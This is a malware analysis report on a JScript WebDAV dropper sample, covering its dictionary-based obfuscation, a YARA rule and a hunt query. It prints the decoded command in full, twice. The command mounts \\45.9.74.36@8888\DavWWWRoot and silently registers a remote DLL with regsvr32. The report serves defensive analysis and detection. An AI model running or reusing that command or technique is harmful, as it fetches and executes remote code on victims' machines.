unclassified-js-webdav-dropper: d90baa30 — 36-entry noise-key dictionary, 45.9.74.36:8888 C2, 271121311026510.dll payload

Executive Summary

A JScript WebDAV dropper using 36-entry dictionary lookup-table obfuscation with random noise key names. Mounts \\45.9.74.36@8888\DavWWWRoot\ and silently registers 271121311026510.dll via regsvr32 /s. Eighteenth confirmed sibling of the unclassified-js-webdav-dropper family. No PowerShell wrapper, no WordPad decoy, no sandbox gate. Static-only (CAPE skipped JavaScript).

What It Is

• Filename: 183525838178682928.js (random digit string, no lure theme) ^[triage.json]
• Size: 6,238 bytes ^[triage.json]
• Format: ASCII text with CRLF line terminators, single-line JScript payload ^[file.txt]
• Language: JScript (Windows Script Host) ^[strings.txt]
• Family: unclassified-js-webdav-dropper — dictionary-dialect variant ^[/intel/analyses/d90baa30d71388a99be3861ac53164533db2ab2de75ff3f9e3a5396f680fc19b.html]
• Obfuscation: 36-entry dictionary mapping random alphanumeric keys to single ASCII characters; assembled via Function('return this')() to access WScript global ^[strings.txt]
• Dynamic: CAPE skipped — not a supported binary class for detonation ^[dynamic-analysis.md]

How It Works

1. Dictionary build. 36 fuatuxnzrflvnfmvmpd['noise_key']='char' assignments populate a lookup table. Keys are random 10–20 character lowercase strings (e.g., oagtwglybkhkruc, hcosmpvyqx, dqmkzzosolzjvexfhm). Values are single ASCII characters and digits. ^[strings.txt:1-36]
2. Decoy try/catch. try{jkgotskv();}catch(...) ensures the catch block always executes (undefined function). Catch variable name is usptejnzxzuijkkpngw (25 random characters). ^[strings.txt:37]
3. Global object access. Function('return this')() returns the global object (WScript in WSH). ^[strings.txt:37]
4. Property chain assembly. Dictionary lookups concatenate to build WScript.CreateObject('WScript.Shell'). ^[strings.txt:37]
5. Payload execution. .Run() is called with a single command string:

   cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\271121311026510.dll
   

   The && chains net use (mount WebDAV) and regsvr32 /s (silent DLL registration). ^[strings.txt:37]
6. Window style. .Run() is called with 0 (hidden window) and false (no wait). ^[strings.txt:37]

Decompiled Behavior

Not applicable — JavaScript payload, not a PE binary. CAPE skipped detonation. No Ghidra/radare2 analysis possible.

C2 Infrastructure

No DNS domains, no hardcoded credentials, no HTTPS.

Interesting Tidbits

• Noise-key naming. Unlike alliterative English-phrase keys (wide-eyedquickbrass, wholesaleentergullible) used in siblings ccb2d007 and cc90d6c, this sample uses purely random lowercase strings (fuatuxnzrflvnfmvmpd, oagtwglybkhkruc). This is the second noise-key dictionary observed in the family (after d0124d62). ^[strings.txt] ^[/intel/analyses/d0124d62f526f1ba31cd9c13c517e4cf208c5871df148ed35700149918a07e96.html]
• No decoy applications. No wordpad launch, no powershell.exe -EncodedCommand wrapper, no rundll32 variant. Pure cmd /k + regsvr32 /s — the minimal execution chain. ^[strings.txt:37]
• No sandbox gate. No aspnet_compiler check, no debugger detection, no GetTickCount loop. The only "anti-analysis" is the obfuscation itself. ^[strings.txt]
• No self-replication. Unlike the polyglot sibling d1af0ff50c79, this .js file does not copy itself to %userprofile% or re-execute. ^[/intel/analyses/d1af0ff50c793f0f941bd1c38511dc87c050d42185f54ffac5861a31c7d2e20d.html]

Deployable Signatures

YARA Rule

rule Unclassified_WebDAV_Dropper_JS_Dictionary
{
    meta:
        description = "JScript WebDAV dropper with dictionary lookup obfuscation"
        author = "pp-hermes"
        date = "2026-06-25"
        family = "unclassified-js-webdav-dropper"
        hash = "d90baa30d71388a99be3861ac53164533db2ab2de75ff3f9e3a5396f680fc19b"
    strings:
        $dict_pattern = /\w+\[\'\w{10,20}\'\]\=\'[a-z0-9]\';/
        $func_return_this = "Function(''+"
        $wscript_upper = /\.toUpperCase\(\)\+.*\.toUpperCase\(\)\+.*\+.*\.\+/
        $davwwwroot = "DavWWWRoot" nocase
        $regsvr32 = "regsvr32" nocase
        $net_use = "net use" nocase
    condition:
        filesize < 15KB
        and #dict_pattern > 25
        and $func_return_this
        and $davwwwroot
        and ($regsvr32 or $net_use)
}

Behavioral Hunt Query (KQL/Sigma-style)

ProcessCreationEvent
| where ParentImage endswith "wscript.exe" or ParentImage endswith "cscript.exe"
| where CommandLine contains "DavWWWRoot" or CommandLine contains "regsvr32"
| where CommandLine contains "net use"
| project Timestamp, ComputerName, ParentImage, Image, CommandLine, User

IOC List

Behavioral Fingerprint

A .js file opened by wscript.exe builds a 36-entry character dictionary from random noise keys, then uses Function('return this')() to access the WScript global object, constructs WScript.CreateObject('WScript.Shell'), and calls .Run() with a hidden window (0, false) to execute cmd /k net use \\45.9.74.36@8888\DavWWWRoot\ && regsvr32 /s \\45.9.74.36@8888\DavWWWRoot\271121311026510.dll. No PowerShell, no decoy, no sandbox gate. Chain is complete in one execution pass.

Detection Signatures

References

• Artifact ID: ac1f1081-568d-4871-9ffc-ed63329ee467 ^[triage.json]
• Family entity: unclassified-js-webdav-dropper
• Technique: js-dictionary-char-lookup-obfuscation
• Technique: webdav-regsvr32-dll-sideloading

Provenance

• file.txt — file(1) type identification
• triage.json — triage pipeline metadata
• strings.txt — raw script content (single line)
• dynamic-analysis.md — CAPE skip note
• floss.txt — floss error (JS, not a binary)
• capa.txt — capa error (JS, not a binary)
• binwalk.txt — no embedded artefacts
• metadata.json — static metadata
• rabin2-info.txt — radare2 error (JS, not a binary)
• Decoded command verified via Node.js evaluation of stubbed WScript.CreateObject against <sample d90baa30d713.bin>.